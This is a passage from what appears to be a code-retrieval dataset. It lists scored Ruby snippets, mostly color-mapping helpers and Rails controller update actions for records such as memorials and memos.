"text": "def get_color(row, x, parties)\n return [\"#AAAAAA\"] if row[:primer_partido_id].nil?\n primer_partido = parties[row[:primer_partido_id]]\n if primer_partido == \"PSOE\" || primer_partido.include?(\"PSOE\")\n if x > -100\n [\"#E08394\"]\n elsif x > -200\n [\"#D94B5F\"]\n else\n [\"#D8282A\"]\n end\n elsif primer_partido == \"PP\" || primer_partido.include?(\"PP\")\n if x < 100\n [\"#90D7F4\"]\n elsif x < 200\n [\"#64B7DE\"]\n else\n [\"#5AB0E9\"]\n end\n else\n THIRD_PARTY_COLORS[primer_partido] || [\"#AAAAAA\"]\n end\nend",
"title": ""
},
{
"docid": "10637aca8058bd0519c8ad1b47e089fc",
"score": "0.540729",
"text": "def html_red\n (220 - (knowledge_chance * 1)).to_i.to_s 16\n end",
"title": ""
},
{
"docid": "97e71c87b4c4dabb029956aadf4ec153",
"score": "0.54059803",
"text": "def coverage_css_class(covered_percent)\n if covered_percent > 90\n 'green'\n elsif covered_percent > 80\n 'yellow'\n else\n 'red'\n end\n end",
"title": ""
},
{
"docid": "52a62a363b321943ed50915af446f356",
"score": "0.5395228",
"text": "def calculate_use_color\n self.use_color =\n case self.use\n when 'broken' then\n 'FF4040'\n when 'corp' then\n 'D2B48C'\n when 'ghetto' then\n 'COCO60'\n when 'infrastructure' then\n 'FF8020'\n when 'lab' then\n '8080FF'\n when 'production' then\n '40FF40'\n when 'preprod' then\n 'FFFFFF'\n when 'special' then\n 'FFFF40'\n when 'database' then\n 'CCAA10'\n else\n 'C0C0C0'\n end\n end",
"title": ""
},
{
"docid": "ea9796c5cac54fe8dec022917a113994",
"score": "0.53840727",
"text": "def profit\n # base_profit - outrage + marketing.\n end",
"title": ""
},
{
"docid": "4732e16a15529356ee45248619158d6d",
"score": "0.536632",
"text": "def get_name_of_income(status)\n if status == \"2\" || status == 2\n \"Predicted \"\n elsif status == \"3\" || status == 3\n \"Lost \"\n else\n \"Monthly \"\n end\n end",
"title": ""
},
{
"docid": "5e40274454edaad294354cd883cd7780",
"score": "0.5358859",
"text": "def red\n\t\tcolorize(31)\n\tend",
"title": ""
},
{
"docid": "d3336795a03f85c00fd6fd8799ae22f0",
"score": "0.53577316",
"text": "def profit_and_loss\n\t\t@final_balance ||= (direct_income + indirect_income + inventory_valuation) - (direct_expenses + indirect_expenses + opening_stock_valuation)\n\tend",
"title": ""
},
{
"docid": "028213f4a0849beb18f8f0ebef600385",
"score": "0.5355729",
"text": "def get_color_from_score(score, lod_score, use_dprime)\n color = 'white'\n if use_dprime then\n if lod_score > 2\n if score < 0.5\n # high LOD, low D'\n color = \"rgb(255,224,244)\"\n else\n # high LOD, high D' => shades of red\n blue_green = (255-32)*2*(1-score)\n color = sprintf(\"rgb(255, %d, %d)\", blue_green, blue_green)\n end\n elsif(score > 0.99)\n #high LD, low LOD blueish color\n color = \"rgb(192,192,240)\"\n else\n color = 'white'\n end\n else # use rsquared\n red_blue_green = 255 * (1.0 - score)\n color = sprintf(\"rgb(%d,%d,%d)\", red_blue_green, red_blue_green, red_blue_green)\n end \n return color\n end",
"title": ""
},
{
"docid": "594f17b62a774cea31f00869979a6a49",
"score": "0.53511024",
"text": "def cap_ex_dollars\n\t\t(cap_ex / 100.00) * total_income\n\tend",
"title": ""
},
{
"docid": "0288bbce7f0b97e8962f488273b416de",
"score": "0.534607",
"text": "def color\n if quality == 1\n [\"00FF00\", 2]\n elsif quality > 0.75 && quality < 1\n [\"33FF00\", 2]\n elsif quality > 0.5 && quality <= 0.75\n [\"66FF00\", 2]\n elsif quality > 0.25 && quality <= 0.5\n [\"99FF00\", 1]\n else\n [\"CCFF00\", 1]\n end\nend",
"title": ""
},
{
"docid": "569d698bd6753e69f3cd8573228efa4e",
"score": "0.5344138",
"text": "def flower_color\n @petal.color\n end",
"title": ""
},
{
"docid": "802ec1d5a09f70c018ec5784b4bb1721",
"score": "0.53373575",
"text": "def objective_luminance\n (0.2126 * @red + 0.7152 * @green + 0.0722 * @blue) / 255\n end",
"title": ""
},
{
"docid": "c94184ffb098555901ebf4823cd1aab3",
"score": "0.53363264",
"text": "def blue\n @blue ||= component(hk - (1/3.0))\n end",
"title": ""
},
{
"docid": "bd0d35cd0b9a232ba94cac200850df93",
"score": "0.5330698",
"text": "def color_for_ring(ring, public_ring)\n #Red is close, blue is cold?\n #This was moved into the model.\n end",
"title": ""
},
{
"docid": "fde7c7f34e23d912a59b47cb84301962",
"score": "0.5313015",
"text": "def progress_bar_percentage(recipe, user = current_user)\n percent_of_ingredients_matched = percentage_of_ingredients_matched(recipe, user)\n case percent_of_ingredients_matched\n when 0..10\n return \"#A00000\"\n when 10..20\n return \"#FF0000\"\n when 20..30\n return \"#FF6600\"\n when 30..40\n return \"#FF9900\"\n when 40..50\n return \"#FFCC00\"\n when 50..60\n return \"#FFFF00\"\n when 60..70\n return \"#CCFF00\"\n when 70..80\n return \"#99FF00\" \n when 80..90\n return \"#66CC00\"\n else\n return \"#339900\"\n end\n end",
"title": ""
},
{
"docid": "20393a9d5b101381045be6bac060e0fc",
"score": "0.5311547",
"text": "def colored?\n !!@asset_id && @value && @value > 0\n end",
"title": ""
},
{
"docid": "4ead0dbbbab67a1e34860128e4b048b3",
"score": "0.5307292",
"text": "def colorize?; end",
"title": ""
},
{
"docid": "4ead0dbbbab67a1e34860128e4b048b3",
"score": "0.5307292",
"text": "def colorize?; end",
"title": ""
},
{
"docid": "2ac8868309a646f00a99c4dc628bf4e4",
"score": "0.5305588",
"text": "def contrast\n contrast = self.luminence.sort.reverse!\n contrast = ((contrast.first + 0.05)/(contrast.last + 0.05))\n\n if contrast >= 5.5\n self.con = 10\n elsif contrast >= 5 && contrast < 5.5\n self.con = 9\n elsif contrast >= 4.5 && contrast < 5\n self.con = 8\n elsif contrast >= 4 && contrast < 4.5\n self.con = 7\n elsif contrast >= 3.5 && contrast < 4\n self.con = 6\n elsif contrast >= 3 && contrast < 3.5\n self.con = 5\n elsif contrast >= 2.5 && contrast < 3\n self.con = 4\n elsif contrast >= 2 && contrast < 2.5\n self.con = 3\n elsif contrast >= 1.5 && contrast < 2\n self.con = 2\n else\n self.con = 1\n end\n\n end",
"title": ""
},
{
"docid": "6ee40c78b35fd5755cc39ab0124851cb",
"score": "0.5304054",
"text": "def get_light(goal,default,pvalue)\n value_max={\n \"green\"=>(pvalue>=get_perc_value(goal,excellent)),\n \"yellow\"=>(pvalue>=get_perc_value(goal,alert) && pvalue<get_perc_value(goal,excellent)),\n \"red\"=>(pvalue<get_perc_value(goal,alert)),\n default=>(pvalue==0)\n }\n value_min={\n \"green\"=>(pvalue<=get_perc_value(goal, excellent)),\n \"yellow\"=>(pvalue<=get_perc_value(goal, alert) && pvalue>get_perc_value(goal,excellent)),\n \"red\"=>(pvalue>get_perc_value(goal,alert)),\n default=>(pvalue==0)\n }\n if (challenge==Settings.challenge.increasing)\n value_max.each_pair { |key,value| return key if value==true }\n elsif (challenge==Settings.challenge.decreasing)\n value_min.each_pair { |key,value| return key if value==true }\n end\n end",
"title": ""
},
{
"docid": "f57ef800bdf1ab8ae483401951803597",
"score": "0.5303786",
"text": "def industry_color\n @industry_color ||= begin\n colors = %W[\n 008080 339384 50a78a 6cbc92 88cf9b a8e1aa cef2be ffffe0 ffd8cd ffaeb5 f78599 e65f7b cf3b59 b11732 8b0000\n ].map{|c| c.scan(/../).map(&:hex)}\n ht = {}\n ht.default = colors[-1]\n ht[0] = [255,255,255]\n colors.each_with_index do |c,i|\n ht[i+1] = c\n end\n ht\n end\n end",
"title": ""
},
{
"docid": "14bf0f94f9bff0c8c95ea8971b6ee425",
"score": "0.529973",
"text": "def income_tier(annual_income)\n if annual_income.nil? || annual_income < 100000\n 'Tier 1'\n elsif annual_income >= 100000 && annual_income < 200000\n 'Tier 2'\n else\n 'Tier 3'\n end\nend",
"title": ""
},
{
"docid": "35a90a7575687723f2f713930220d4cd",
"score": "0.52912897",
"text": "def color_fmt\n case self\n when /\\dB?$/\n self.blue\n when /\\dKB?$/\n self.green\n when /\\dMB?$/\n self.yellow\n when /\\dGB?$/\n self.red\n else\n self.bold.red\n end\n end",
"title": ""
},
{
"docid": "c77e67aaed5e77ad893f2b7001d070b4",
"score": "0.52875066",
"text": "def color\n # Red: if the output of block is <= 100\n # Green: if the output of block is > 100 and <= 500\n # Blue: if the output of block is > 500 and <= 1000\n # Black: if the output of block is > 1000\n color_value = yield\n\n if color_value <= 100 and color_value >= 0\n \"RED\"\n elsif color_value > 100 and color_value <= 500\n \"GREEN\"\n elsif color_value > 500 and color_value <= 1000\n \"BLUE\"\n elsif color_value > 1000\n \"BLACK\"\n else\n \"NO COLOR FOUND\"\n end\nend",
"title": ""
},
{
"docid": "67994c42707c4b926488e150224f49ce",
"score": "0.52825797",
"text": "def personal_exemption\n if @gross_income < @pep_threshold\n # set full personal exemption amount when under threshold\n PERSONAL_EXEMPTION[@filing_status.to_sym]\n else\n # if gross income is above the phase out range, return $0 personal exemption\n if @filing_status == \"mfs\" && @gross_income - @pep_threshold >= 61250\n return 0\n elsif @gross_income - @pep_threshold >= 122500\n return 0\n else\n # calculate the number of multiples of $2,500 that gross income is over the threshold\n \t number_of_reductions = ((@gross_income - @pep_threshold)/2500.0).ceil\n # get total % reduction by multiplying that number of multiples by the 2% reduction percentage\n percentage_reduction = 0.02 * number_of_reductions\n # reduce the personal exemption by the total % reduction\n\t return PERSONAL_EXEMPTION[@filing_status.to_sym] * (1 - percentage_reduction)\n\t end\n\t end\n end",
"title": ""
},
{
"docid": "51a47d96af0565224e181f18ec51b018",
"score": "0.528095",
"text": "def red\n colorize(31)\n end",
"title": ""
},
{
"docid": "51a47d96af0565224e181f18ec51b018",
"score": "0.528095",
"text": "def red\n colorize(31)\n end",
"title": ""
},
{
"docid": "0cd33f20c1ebe2b9c01844e27b3e8c98",
"score": "0.5277492",
"text": "def state_color(state)\n @states ||= { 'InService' => :success, 'Pending' => :warning, 'Terminating' => :warning, 'Terminated' => :danger }\n @states.fetch(state, :info)\nend",
"title": ""
},
{
"docid": "a75c5a2899dacf11d3e5fbe4135ad38f",
"score": "0.52743816",
"text": "def colorise_summary(summary)\n summary\n end",
"title": ""
},
{
"docid": "41ad62bbd40cbc3a84ed870cf633617a",
"score": "0.5269698",
"text": "def mp_color\n return crisis_color if @actor_data[6] < @actor_data[7] / 4\n return normal_color\n end",
"title": ""
},
{
"docid": "607d8c57cbd365d86f18b11c47dfa263",
"score": "0.52592546",
"text": "def color_gradient(city_review_average)\n # red = 255\n # green = 0\n # stepSize = 5\n # array = []\n #\n # while green < 255\n # green += stepSize;\n # if green > 255\n # green = 255\n # end\n # array << [red, green]\n # end\n #\n # while red > 0\n # red -= stepSize;\n # if red < 0\n # red = 0\n # end\n # array << [red, green]\n # end\n\n array = [[255, 0, 1],\n [255, 0, 2],\n [255, 0, 3],\n [255, 0, 4],\n [255, 0, 5],\n [255, 0, 6],\n [255, 0, 7],\n [255, 0, 8],\n [255, 0, 9],\n [255, 0, 10],\n [255, 0, 11],\n [255, 0, 12],\n [255, 0, 13],\n [255, 0, 14],\n [255, 0, 15],\n [255, 0, 16],\n [255, 2, 17],\n [255, 5, 18],\n [255, 5, 19],\n [255, 10, 20],\n [255, 20, 21],\n [255, 30, 22],\n [255, 40, 23],\n [255, 50, 24],\n [255, 60, 25],\n [255, 70, 26],\n [255, 70, 27],\n [255, 70, 28],\n [255, 80, 29],\n [255, 80, 30],\n [255, 80, 31],\n [255, 80, 32],\n [255, 80, 33],\n [255, 80, 34],\n [255, 80, 35],\n [255, 80, 36],\n [255, 80, 37],\n [255, 80, 38],\n [255, 80, 39],\n [255, 80, 40],\n [255, 100, 41],\n [255, 100, 42],\n [255, 100, 43],\n [255, 100, 44],\n [255, 100, 45],\n [255, 100, 46],\n [255, 100, 47],\n [255, 100, 48],\n [255, 100, 49],\n [255, 100, 50],\n [255, 200, 51],\n [255, 220, 52],\n [255, 230, 53],\n [255, 250, 54],\n [255, 255, 55],\n [230, 255, 56],\n [255, 255, 57],\n [255, 255, 58],\n [255, 255, 59],\n [255, 255, 60],\n [205, 255, 61],\n [200, 255, 62],\n [195, 255, 63],\n [190, 255, 64],\n [185, 255, 65],\n [180, 255, 66],\n [175, 255, 67],\n [170, 255, 68],\n [165, 255, 69],\n [160, 255, 70],\n [155, 255, 71],\n [150, 255, 72],\n [120, 255, 73],\n [120, 255, 74],\n [120, 255, 75],\n [120, 255, 76],\n [120, 255, 77],\n [120, 255, 78],\n [100, 255, 79],\n [100, 255, 80],\n [100, 255, 81],\n [100, 255, 82],\n [95, 255, 83],\n [90, 255, 84],\n [85, 255, 85],\n [80, 255, 86],\n [75, 255, 87],\n [70, 255, 88],\n [65, 255, 89],\n [60, 255, 90],\n [55, 255, 91],\n [20, 255, 92],\n [20, 255, 93],\n [20, 255, 94],\n [20, 255, 95],\n [20, 255, 96],\n [20, 255, 97],\n [15, 255, 98],\n [15, 255, 99],\n [10, 255, 100],\n [5, 255, 101],\n [0, 255, 102]]\n\n \"rgb(\" + array[(city_review_average * 10)][0].to_s + \",\" + array[(city_review_average * 10)][1].to_s + \", 0)\"\n end",
"title": ""
},
{
"docid": "5fbf6cf7a1e9caa960b5981aad36ab34",
"score": "0.5257526",
"text": "def color_div_total(avg,ea8,symbol)\n\t\tif !ea8.blank? && !avg.blank? && !symbol.blank? && symbol != 'Expected Attainment 8'\n\t\t\tif ['Maths_Points_Score','English_Points_Score'].include? symbol \n\t\t\t\texpected = (ea8.to_f/10)\n\t\t\t\tscore = avg - expected \n\t\t\t\t\n\t\t\telsif ['Other Ebacc Subjects','Other Subjects'].include? symbol\n\t\t\t\texpected = (ea8.to_f/10)*3\n\t\t\t\tscore = (avg - expected)/3 \n\t\t\t\t\n\t\t\telsif ['Attainment 8','Progress 8','Value Added'].include? symbol\n\t\t\t\tif symbol == 'Attainment 8'\n\t\t\t\t\tscore = (avg-ea8)/10\n\t\t\t\telsif symbol == 'Progress 8'\n\t\t\t\t\tscore = avg/10\n\t\t\t\telsif symbol == 'Value Added'\n\t\t\t\t\tscore = avg/10\n\t\t\t\tend\n\t\t\tend\n\t\t\tif score<-0.5\n\t\t\t\t\tcolor = 'black_color'\n\t\t\telsif score<0\n\t\t\t\tcolor = 'below_color'\n\t\t\telsif score <0.5\n\t\t\t\tcolor = 'one_below_color'\n\t\t\telsif score <1\n\t\t\t\tcolor = 'on_track_color'\n\t\t\telsif score >=1\n\t\t\t\tcolor = 'above_color'\n\t\t\tend\n\t\t\treturn color\n\t\tend\n\tend",
"title": ""
},
{
"docid": "db6ca17c6b49ce63bf4a87d644f2669e",
"score": "0.52555484",
"text": "def gross_income\n self.dig_for_decimal(\"grossIncome\")\n end",
"title": ""
},
{
"docid": "35df7d2068f6ed5c8028337016fdd601",
"score": "0.52524304",
"text": "def benefit_total\r\n benefit_light + benefit_hvac + benefit_env\r\n end",
"title": ""
},
{
"docid": "9c8a5d32efa9b590225a8a0350de099e",
"score": "0.5249902",
"text": "def color_value\n case threshold_value\n when 3 then 'Red'\n when 2 then 'Yellow'\n when 1 then 'Green'\n else 'Gray'\n end\n end",
"title": ""
},
{
"docid": "c72e2efa170ed08f24da252ee4c2d084",
"score": "0.5230855",
"text": "def diff_item_coloring(diff)\n case diff[0]\n when '-' then\n Rainbow(\" #{diff[0]} #{diff[1]} = #{diff[2]}\").red + \"\\n\"\n when '+' then\n Rainbow(\" #{diff[0]} #{diff[1]} = #{diff[2]}\").green + \"\\n\"\n when '~' then\n Rainbow(\" #{diff[0]} #{diff[1]} from '#{diff[2]}' to '#{diff[3]}'\").yellow + \"\\n\"\n end\n end",
"title": ""
},
{
"docid": "ca0fbc30e6de920f1d6fbcd60142e917",
"score": "0.5230295",
"text": "def colorize_coefficient(x, t = 0.0, &b)\n colorize x, x.to_s =~ NAN ? :black : Float(x) == t ? :yellow : Float(x) > t ? :green : :red, &b\n end",
"title": ""
},
{
"docid": "db19f51c1ea1887b23623995a3ea0fe7",
"score": "0.52276474",
"text": "def age_color(age, gender)\n if age >= 20 && gender == \"f\"\n \"pink\"\n elsif age >= 20 && gender == \"m\"\n \"blue\"\n end\nend",
"title": ""
},
{
"docid": "fcc456a88e31f2d68c59c7c4b022e610",
"score": "0.52247906",
"text": "def getColor( readings )\n\t\ttotal = 0\n\t\treturn \"#000000\" if(readings == nil)\n\t\treadings.map(){|r| total+=r }\n\t\treturn \"#000000\" if(total == 0)\n\t\t#Log.debug( \"Total\" ){ total }\n\t\t#Log.debug( \"Reading\" ){ readings.inspect }\n\n\t\tbaseColor = [255,255,255]\n\n\t\tp = (( readings[1].to_f / total)*255)\n\t\t#puts \"Green: #{p}\"\n\t\tbaseColor[0] -= p.to_i()\n\t\tbaseColor[2] -= p.to_i()\n\n\t\tp = (( readings[2].to_f / total)*255)\n\t\tbaseColor[0] += (p*0.75).to_i()\n\t\tbaseColor[1] += (p*0.25).to_i()\n\t\tbaseColor[2] -= p.to_i()\n\n\t\tp = (( readings[4].to_f / total)*255)\n\t\tbaseColor[0] += p.to_i()\n\t\tbaseColor[1] -= p.to_i()\n\t\tbaseColor[2] -= p.to_i()\n\n\t\tp = (( readings[4].to_f / total)*255)\n\t\tbaseColor[0] += p.to_i()\n\t\tbaseColor[1] -= p.to_i()\n\t\tbaseColor[2] -= p.to_i()\n\n\t\tbaseColor.map!{|bc| (bc > 255 ? 255 : (bc < 0 ? 0 : bc )) }\n\n\t\t#red = ( baseColor[0] == 0 ? \"00\" : baseColor[0].to_s( 16 ) )\n\t\t#green = ( baseColor[1] == 0 ? \"00\" : baseColor[1].to_s( 16 ) )\n\t\t#blue = ( baseColor[2] == 0 ? \"00\" : baseColor[2].to_s( 16 ) )\n\n\t\treturn \"#\"+\n\t\t\tbaseColor[0].to_s( 16 ).rjust(2,'0') + \n\t\t\tbaseColor[1].to_s( 16 ).rjust(2,'0') + \n\t\t\tbaseColor[2].to_s( 16 ).rjust(2,'0')\n\tend",
"title": ""
},
{
"docid": "75d24ba5303b01bd2fc33818bea144bd",
"score": "0.5219789",
"text": "def red\n return colorize(31)\n end",
"title": ""
},
{
"docid": "75d24ba5303b01bd2fc33818bea144bd",
"score": "0.5219789",
"text": "def red\n return colorize(31)\n end",
"title": ""
},
{
"docid": "de004fc379e4e59a1b022ee77ef09ff2",
"score": "0.52178943",
"text": "def blue\n return self.color['blue'] if self.color\n return 0\n end",
"title": ""
}
] |
f020747c0327a162ee4db1ef47fd278f
|
PATCH/PUT /memorials/1 PATCH/PUT /memorials/1.json
|
[
{
"docid": "d651911f295c7278ca886af54182ccc8",
"score": "0.70219654",
"text": "def update\n respond_to do |format|\n if @memorial.update(memorial_params)\n format.html { redirect_to @memorial, notice: 'Memorial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @memorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "4c846e1e6bb435af6fb66e7a7df1d186",
"score": "0.6918969",
"text": "def update\n respond_to do |format|\n if @memorial.update(memorial_params)\n format.html { redirect_to @memorial, notice: 'Memorial was successfully updated.' }\n format.json { render :show, status: :ok, location: @memorial }\n else\n format.html { render :edit }\n format.json { render json: @memorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6723d3b3436e29796c00afcedba78100",
"score": "0.64540774",
"text": "def update\n @memo = Memo.find(params[:id])\n\n if @memo.update_attributes(params[:memo])\n status = 'success'\n else\n status = 'error'\n end\n\n render json: { status: status, data: @memo }\n end",
"title": ""
},
{
"docid": "4b2f3edb52b6afb02c82ea9fb43616d8",
"score": "0.64307225",
"text": "def update\n @memo = Memo.find(params[:id])\n\n if @memo.update_attributes(params[:memo])\n status = 'success'\n else\n status = 'error'\n end\n render json: { status: status, data: @memo }\n end",
"title": ""
},
{
"docid": "8ae8d60a10d10c6d5a429a1b1c4aea7f",
"score": "0.6400658",
"text": "def update\n respond_to do |format|\n if @memorial.update(memorial_params)\n load_params_for_reload_page\n format.html { redirect_to @memorial, notice: 'Memorial was successfully updated.' }\n format.json { render :show, status: :ok, location: @memorial }\n format.js { render :create}\n else\n format.html { render :edit }\n format.json { render json: @memorial.errors, status: :unprocessable_entity }\n format.js { render :create}\n end\n end\n end",
"title": ""
},
{
"docid": "a986e699eae05273da74ad2c3ec285a6",
"score": "0.63557017",
"text": "def update\n @memo = @group.memos.find(params[:id])\n\n if @memo.update_attributes(params[:memo])\n head :no_content\n else\n render json: @memo.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "1925bdee59fe2cd75d48d51bc10fd8a1",
"score": "0.6216911",
"text": "def update\n respond_to do |format|\n if @memorabilium.update(memorabilium_params)\n format.html { redirect_to @memorabilium, notice: 'Memorabilium was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @memorabilium.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7375c36fe63746b980a0453a560cb369",
"score": "0.61084276",
"text": "def update\n\n memory = Memory.find_by_id(params[:id].to_i)\n\n #removes all tags to avoid duplication\n memory.tags.delete_all\n \n creator = memory.creator\n \n #check that user is authorized to update memory\n if @payload[\"id\"].to_i == creator.id\n\n memory.update(memory_params)\n if memory.save\n render json:{message: \"Minnet uppdaterades\"}, status: :ok\n else\n render json:{error: memory.errors.full_messages}, status: :bad_request \n end\n else\n render json:{error: \"Du får inte ändra detta minne\"}, status: :forbidden\n end\n\n end",
"title": ""
},
{
"docid": "fe34f93da0751ad55cc5052cfdd2366c",
"score": "0.60808283",
"text": "def update\n render json: Person.update(params[\"id\"], params[\"person\"])\n end",
"title": ""
},
{
"docid": "abce1dfbfa7adc8a127622108f732a95",
"score": "0.60634714",
"text": "def update_person(api, cookie, perstoupdate, person)\n pers_id = perstoupdate['id']\n option_hash = { content_type: :json, accept: :json, cookies: cookie }\n pers = nil\n res = api[\"people/#{pers_id}\"].patch person.to_json, option_hash unless $dryrun\n if res&.code == 201\n pers = JSON.parse(res.body)\n end\n pers\nend",
"title": ""
},
{
"docid": "9eb56a38e7aa94dd2aa515d0deb3b01f",
"score": "0.60634214",
"text": "def update\n @memo = Memo.find(params[:id])\n\n respond_to do |format|\n if @memo.update_attributes(params[:memo])\n format.html { redirect_to @memo, notice: 'Memo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @memo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59e8573ab67f55e8bc286621a09093a2",
"score": "0.6062183",
"text": "def edit\n @memo = Memo.find(params[:id]).update(edit_params)\n respond_to do |format|\n format.html {redirect_to :back}\n format.json {render json: @memo}\n end\n end",
"title": ""
},
{
"docid": "9fa68a026f5cc8314cc771ddaf791f61",
"score": "0.6052529",
"text": "def update\n @mem = Mem.find(params[:id])\n\n respond_to do |format|\n if @mem.update_attributes(params[:mem])\n format.html { redirect_to @mem, notice: 'Mem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c99bc07df839e3aeea5659eff1eb28ad",
"score": "0.60368264",
"text": "def update_mutant(m_id, mutant_info)\n mutant_info = {\"mutant\" => mutant_info}\n request = API_URL + \"mutants/#{m_id}\"\n @response = RestClient.patch(request, mutant_info){|response, request, result| response }\n @parsed_response = JSON.parse(@response)\n if @parsed_response[\"status\"]\n @parsed_response.merge(\"code\" => @parsed_response[\"status\"])\n return\n else\n parse_mutant(@parsed_response)\n log_mutant(\"updated\")\n end\n return\nend",
"title": ""
},
{
"docid": "e734fe2e9ffb002c333aece1a7101fe4",
"score": "0.6035591",
"text": "def update\n @user_read_memo = @memo.user_read_memos.find(params[:id])\n\n if @user_read_memo.update_attributes(params[:user_read_memo])\n head :no_content\n else\n render json: @user_read_memo.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "02f653eefb43464cd2f7ed71d0a5cef7",
"score": "0.60305834",
"text": "def update\n @testmonial = Testmonial.find(params[:id])\n\n if @testmonial.update(testmonial_params)\n head :no_content\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c291970352046253ac118cc1863a1a4d",
"score": "0.6029411",
"text": "def update\n respond_to do |format|\n if @memo.update(memo_params)\n format.html { redirect_to memos_url, notice: 'Memo was successfully updated.' }\n format.json { render :show, status: :ok, location: memos_url }\n else\n format.html { render :edit }\n format.json { render json: @memo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "020c135c51257bae1e5ab1cd169073fd",
"score": "0.6006704",
"text": "def update\n respond_to do |format|\n if @memocity.update(memocity_params)\n format.html { redirect_to @memocity, notice: 'Memocity was successfully updated.' }\n format.json { render :show, status: :ok, location: @memocity }\n else\n format.html { render :edit }\n format.json { render json: @memocity.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c8c1fe8c29cffb45cfc5b53467610681",
"score": "0.60003954",
"text": "def update\n respond_to do |format|\n if @mem.update(mem_params)\n format.html { redirect_to @mem, notice: 'Mem was successfully updated.' }\n format.json { render :show, status: :ok, location: @mem }\n else\n format.html { render :edit }\n format.json { render json: @mem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28c41b3779f73357ba0b7d55cbc5a3eb",
"score": "0.5983008",
"text": "def update attributes\n perform_patch(\"/me\", attributes)\n end",
"title": ""
},
{
"docid": "b816f2752cf893e587bcd6248ed3c9a1",
"score": "0.5967502",
"text": "def update\n megam_rest.update_(to_hash)\n end",
"title": ""
},
{
"docid": "84d3ec930637547860dc20becbf29000",
"score": "0.5962075",
"text": "def update\n respond_to do |format|\n if @momo.update(momo_params)\n format.html { redirect_to @momo, notice: 'Momo was successfully updated.' }\n format.json { render :show, status: :ok, location: @momo }\n else\n format.html { render :edit }\n format.json { render json: @momo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e5eaffc444bd304b7fd4411b2c4d895a",
"score": "0.5961713",
"text": "def update\n respond_to do |format|\n if @wwii_memorial.update(wwii_memorial_params)\n format.html { redirect_to @wwii_memorial, notice: 'Wwii memorial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wwii_memorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "14d69b04d73a503cf2045ad7b973fed4",
"score": "0.5946852",
"text": "def update\n respond_to do |format|\n if @mem.update(mem_params)\n format.html { redirect_to @mem, notice: 'Memoria actualizada correctamente.' }\n format.json { render :show, status: :ok, location: @mem }\n else\n format.html { render :edit }\n format.json { render json: @mem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "53110c5b71a8a6e8b4358989c027ba6d",
"score": "0.5945383",
"text": "def update\n respond_to do |format|\n if @ref_metum.update(ref_metum_params)\n format.html { redirect_to '/refs/'+@ref_metum.ref.slug, notice: 'Tiedot päivitettiin onnistuneesti' }\n format.json { render :show, status: :ok, location: @ref_metum }\n else\n @attrs = RefAttribute.where(id: @ref_metum.ref_attribute_id)\n @refs = Ref.where(\"id = :id\", {id: @ref_metum.ref_id})\n format.html { render :edit }\n format.json { render json: @ref_metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d7546728215b14cfe2677705f45c2a0",
"score": "0.59434396",
"text": "def update\n respond_to do |format|\n if @minimeal.update(minimeal_params)\n format.html { redirect_to minimeals_url, notice: 'Minimeal was successfully updated.' }\n format.json { render :show, status: :ok, location: @minimeal }\n else\n format.html { render :edit }\n format.json { render json: @minimeal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "afdbccd2418c374aaaeb0a2af9acca16",
"score": "0.59427774",
"text": "def update\n respond_to do |format|\n if @memory.update(memory_params)\n format.html { redirect_to memories_path, notice: 'Your memory has been updated successfully.' }\n format.json { render :show, status: :ok, location: memories_path }\n else\n format.html { render :edit }\n format.json { render json: @memory.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f55ae5b37b8a4a538877bcf1dcd3109a",
"score": "0.5942245",
"text": "def update\n @mission = Mission.find(params[:id])\n\n if @mission.update(mission_params)\n head :no_content\n else\n render json: @mission.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "33eeca1b8f1176254ddd275e98947f22",
"score": "0.5941649",
"text": "def update\n respond_to do |format|\n if @mine_resource.update(mine_resource_params)\n format.html { redirect_to @mine_resource, notice: 'Recurso minero actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mine_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c07595e8af0e981c3df200da67e7cbce",
"score": "0.592775",
"text": "def update\n respond_to do |format|\n if @memo.update(memo_params)\n format.html { redirect_to @memo, notice: t(\".success\") }\n format.json { render :show, status: :ok, location: @memo }\n else\n format.html { render :edit }\n format.json { render json: @memo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "692c7f68c48dcbe2b714548056b524ff",
"score": "0.59238374",
"text": "def update\n @material = Material.find(params[:id])\n if @material.update_attributes(params[:material])\n head :no_content\n else\n render json: @material.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2572fb900123dab962d92dfd5cd31505",
"score": "0.5920371",
"text": "def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend",
"title": ""
},
{
"docid": "1b43604bd409d8c4644421c395d71320",
"score": "0.59083974",
